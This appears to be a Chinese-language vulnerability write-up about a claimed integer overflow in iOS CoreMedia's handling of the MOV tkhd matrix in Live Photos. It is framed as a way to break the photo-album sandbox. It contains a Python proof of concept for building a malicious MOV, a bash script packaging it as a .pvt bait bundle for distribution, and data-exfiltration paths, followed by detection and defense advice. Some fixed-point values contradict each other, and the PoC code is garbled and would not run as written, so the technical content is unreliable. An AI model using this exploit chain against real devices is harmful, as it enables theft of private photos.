摘要

iOS 的 Live Photos 将一段 HEIC 静止帧与 MOV 视频封装在同一资产中,其视频轨道由 CoreMedia 框架解析。MOV 文件基于原子结构,其中 tkhd 原子包含一个 3×3 变换矩阵,CoreMedia 在读取该矩阵的旋转与缩放参数时,存在一个整数溢出漏洞:当矩阵的 a 或 d 字段被刻意设置为极大的 16.16 定点数时,随后进行的乘法运算可导致宽或高变为负值,进而触发越界堆写入。攻击者可将恶意制作的 MOV 嵌入 Live Photos 资产中,通过 QuickLook 预览或 iMessage 自动下载触发 quicklookd 解析,利用此漏洞打破相册沙箱的边界,读取其他照片、视频文件内容。

Live Photos 与 MOV 原子结构

Live Photos 的双轨资产

苹果的 Live Photos 在拍摄时同时记录一张 HEIC 格式的静止帧和一段约 3 秒的 MOV 视频(通常 1440×1080,15fps)。这两个文件被存储在一个名为 IMG_XXXX.photolibrary 或直接配对(IMG_XXXX.HEIC 与 IMG_XXXX.MOV)的包结构中。当用户通过 QuickLook 预览 Live Photos 或接收 iMessage 附件时,系统会调用 quicklookd 进程解析 MOV 视频流,以生成动态预览缩略图。quicklookd 运行在自己的沙箱内,但拥有对相册资源的访问权限(以服务于“照片”App 的预览),这使其成为攻击者突破相册隐私隔离的理想目标。

MOV 文件格式的原子树

MOV 文件由一系列“原子”(Atom)组成,每个原子包含长度、类型和载荷。视频轨道的变换矩阵存储在 tkhd 原子中,该原子位于 moov/trak/tkhd 路径下。该结构如下:

moov (Movie Atom)
 ├── mvhd (Movie Header Atom):全局时间刻度、总时长、播放速率
 └── trak (Track Atom):单个媒体轨道(通常分为视频轨、音频轨等)
      ├── tkhd (Track Header Atom):当前轨道的宽高、ID、音量等属性
      └── mdia (Media Atom):描述媒体流的详细信息
           ├── mdhd (Media Header Atom):本轨道的生命周期与语言
           ├── hdlr (Handler Reference Atom):声明处理器类型(如 'vide' 视频 / 'soun' 音频)
           └── minf (Media Information Atom):媒体信息容器
                ├── smhd / vmhd (Sound/Video Header Atom):声/视频专属头信息
                ├── dinf (Data Information Atom):数据引用与定位
                └── stbl (Sample Table Atom):样本表(最复杂的底层索引核心)
                     ├── stsd (Sample Description Atom):编码格式、解码参数(如 AVC1、AAC)
                     ├── stts (Time-to-Sample Atom):帧时间戳与持续时间映射
                     ├── stsc (Sample-to-Chunk Atom):采样与区块的对应关系
                     ├── stsz (Sample Size Atom):每个帧/样本的具体字节大小
                     └── stco / co64 (Chunk Offset Atom):每个区块在文件中的绝对偏移地址

tkhd结构中,变换矩阵描述了视频帧的旋转与缩放。CoreMedia 在解析时会将矩阵的 a(缩放 X)、d(缩放 Y)字段与宽高相乘,以获取显示尺寸。由于定点数转换为浮点数后可能非常大,乘法操作若未进行溢出检查,便会成为堆破坏的入口。

矩阵欺骗

16.16 定点数的潜在溢出

在二进制底层,若用格式表示,两个 16.16 的数相乘,其位宽变化如下:

乘数 A (32位) : [ 符号/整数 16位 ] . [ 小数 16位 ]
乘数 B (32位) : [ 符号/整数 16位 ] . [ 小数 16位 ]
-----------------------------------------------------------------
相乘原生态结果 (64位) : [ 符号/整数 32位 ] . [ 小数 32位 ]  <-- 完整数学结果
目标截断存储区 (32位) :       [ 符号/整数 16位 ] . [ 小数 16位 ]  <-- 强行保留的窗口
-----------------------------------------------------------------
【溢出与截断情况】:
1. 底部下溢 (精度丢失) : 小数部分后32位中的低16位被直接丢弃(或右移16位 >>16)。
2. 顶部上溢 (数值溢出) : 整数部分如果超出了 16位(即实际数值大于 32767.99 或小于 -32768.0),
                       则高出的整数有效位落在了 64位结果的第 [32:16] 甚至符号位区间,
                       导致直接强行截断后数值面目全非(发生饱和、循环回绕或符号颠倒)。

矩阵中的 a 字段如果被设为 0x7FFFFFFF(最大正整数),其定点表示约为 32767.9999。当 CoreMedia 将其乘以轨道宽度(典型值 1440)时,乘积为 47185920,尚未溢出 32 位。然而,若攻击者将 a 字段设置为 0xFFFFFFFF(-1 的定点表示,即 -0.000015),乘法后宽度变为负值,后续的内存分配操作可能使用这个负值,导致分配失败或分配极小的缓冲区。更危险的是,如果 a 字段被设置为 0x10000(即 1.0)之上,但 CoreMedia 在计算 displayWidth = width * a >> 16 时,若 width * a 超过 32 位上限,结果发生截断,产生一个意外的较小宽度值。接着,CoreMedia 会根据这个错误的尺寸分配堆缓冲区,随后在写入解码帧时,实际数据量大于分配大小,造成堆溢出。

利用触发点:CMVideoFormatDescriptionCreateFromH264ParameterSets

在解析 MOV 视频轨道时,CoreMedia 会调用 CMVideoFormatDescriptionCreateFromH264ParameterSets 处理 H.264 的 SPS/PPS 参数集,并结合 tkhd 的宽高信息创建格式描述。若宽高被篡改为异常值,后续为视频帧分配的 CVPixelBuffer 大小将偏离实际帧数据需求。当解码器写入第一帧数据时,堆中的其他对象可能被覆盖。攻击者可以利用这一溢出,覆盖位于同一堆块中的 CFString 或 CFData 对象的长度字段,实现任意读取,进而泄露相册中其他照片的像素数据。

从恶意 Live Photo 到相册照片泄漏

制作恶意的 .pvt 包

Live Photos 在通过 AirDrop 或邮件发送时,通常被封装为 .pvt(Photo Video Thumbnail)包,内部包含 photo.heic 和 video.mov。攻击者可以制作一个包含正常 HEIC 静态帧但恶意 MOV 的 .pvt 文件。当受害者收到该文件并在 iMessage 中点击预览、或设备自动下载生成 QuickLook 缩略图时,quicklookd 会解析 video.mov,触发前述漏洞。

堆布局与信息泄露

利用溢出,攻击者覆盖 CMSampleBuffer 中引用图像数据指针的长度字段,使其指向相邻的 PHAsset 缓存区,其中可能包含其他照片的缩略图数据。通过精心构造堆喷射(例如在 .pvt 中添加大量恶意 ID3 标签或 XMP 元数据),可以将敏感对象(如另一张照片的 JPEG 数据)布置在溢出点之后。解码帧被写入时,数据被复制到相册沙箱之外的临时文件中,攻击者随后可通过后续的 URL Scheme 或后台任务将该文件外传。

沙箱逃逸的额外技巧

quicklookd 自身无权访问网络,但可以写入可由主应用读取的共享容器目录(如 App Group)。溢出后可调用 CFWriteStreamCreateWithFile 将窃取的照片数据写入该共享目录,再由攻击者控制的恶意应用通过 NSFileCoordinator 读取并上传。或者,利用 UIDocumentInteractionController 打开一个指向临时文件的 file:// URL,诱导用户点击分享,实现数据间接外传。

构建带有恶意矩阵的 MOV 文件

以下 Python 脚本使用 struct 构造一个最小的 MOV 文件,其中 tkhd 原子的变换矩阵被篡改,触发 CoreMedia 解析时的溢出。

#!/usr/bin/env python3
# malicious_mov.py — 生成带有恶意 tkhd 矩阵的 MOV 文件

import struct
import os

defcreate_atom(atom_type, data):
    size = 8 + len(data)
return struct.pack('>I', size) + atom_type.encode() + data

defcreate_tkhd():
# 正常 tkhd 头部
    version = 0
    flags = 0
    creation_time = 0
    modification_time = 0
    track_id = 1
    reserved1 = 0
    duration = 1000
    reserved2 = b'\x00' * 8
    layer = 0
    alternate_group = 0
    volume = 0x0100
    reserved3 = 0
    matrix = struct.pack('>9i',
0xFFFFFFFF, 0, 0,       # a, b, u (a 设为 -1 的定点)
0, 0xFFFFFFFF, 0,       # c, d, v (d 同样设为 -1)
0, 0, 0x40000000# w 设为 2.0
    )
    width = struct.pack('>I', 0x05A00000)   # 1440.0
    height = struct.pack('>I', 0x04380000)  # 1080.0

    data = struct.pack('>B', version)
    data += struct.pack('>3B', (flags >> 16) & 0xFF, (flags >> 8) & 0xFF, flags & 0xFF)
    data += struct.pack('>I', creation_time)
    data += struct.pack('>I', modification_time)
    data += struct.pack('>I', track_id)
    data += struct.pack('>I', reserved1)
    data += struct.pack('>I', duration)
    data += reserved2
    data += struct.pack('>I', layer)
    data += struct.pack('>I', alternate_group)
    data += struct.pack('>h', volume)
    data += struct.pack('>H', reserved3)
    data += matrix
    data += width
    data += height
return create_atom('tkhd', data)

defcreate_mdat():
# 放置一些 H.264 占位数据
return create_atom('mdat', b'\x00\x00\x00\x01\x09\x10\x00\x00\x00\x01\x67\x42\x00\x1F\x95\xA0\x0A\x00\x00\x00\x01\x68\xCE\x3C\x80')

defmain():
    tkhd = create_tkhd()
    mdat = create_mdat()
    trak = create_atom('trak', tkhd)
    moov = create_atom('moov', trak)
    file_data = mdat + moov

with open('malicious.mov', 'wb') as f:
        f.write(file_data)
    print('[+] 恶意 MOV 文件已保存为 malicious.mov')

if __name__ == '__main__':
    main()

说明:该脚本构建了一个最小的 MOV,其中 tkhd 的矩阵 a、d 被设置为 0xFFFFFFFF(-1 的 16.16 定点表示),宽度为 1440.0,高度为 1080.0。CoreMedia 在计算显示大小时,会得到负值,触发后续内存分配异常。此 PoC 可作为测试用例,结合 QuickLook 触发验证漏洞。

打包为 Live Photo 资产

#!/bin/bash
# 创建 .pvt 包(Live Photo 容器)
mkdir live_photo.pvt
cp malicious.mov live_photo.pvt/video.mov
# 放入一个正常的 HEIC 图片作为诱饵
cp normal.HEIC live_photo.pvt/photo.heic
# 通过 AirDrop 或 Web 分发攻击 .pvt 包

检测与防御

系统级修复

  • CoreMedia 输入验证:苹果应在解析 tkhd 矩阵后,立即对计算出的宽高进行范围检查,拒绝任何负值或超过最大允许尺寸的结果。
  • QuickLook 沙箱增强quicklookd 不应拥有对相册的完全读取权限,预览生成仅限于当前资产,而不应访问其他照片。苹果可以从沙箱配置中移除 com.apple.security.assets.pictures.read-write 权限,强制通过 PHAsset API 代理访问。
  • 地址空间布局随机化与隔离:将 CoreMedia 解析器移入独立的进程内沙箱(如 mediaserverd),即使溢出也无法触及相册数据。

检测方法

  • 文件结构扫描:恶意 MOV 文件往往矩阵字段异常,ad 字段为极大值或负值。可编写脚本扫描接收到的 MOV 文件的 tkhd 矩阵,对超出 [-4.0, 4.0] 范围的值标记为可疑。
  • 进程行为监控:监控 quicklookd 的文件写入操作,若其将大量图片数据写入共享容器,即触发告警。

用户规避

  • 避免打开未知来源的 Live Photos 附件。
  • 在“设置”中关闭 iMessage 的自动下载缩略图功能。

结语

Live Photos 的 MOV 原子为 iOS 相册沙箱的坚固城墙留下了一道细微的裂缝。攻击者只需篡改矩阵中的几个定点数,便能让 CoreMedia 解析器在内存分配上迷失方向,从而将本应严格隔离的照片数据从沙箱的牢笼中拽出。这提醒我们,移动系统的媒体解析器仍然是沙箱逃逸最薄弱的环节——它们不仅直面攻击者完全控制的复杂二进制格式,还常常运行在拥有过多权限的特权进程中。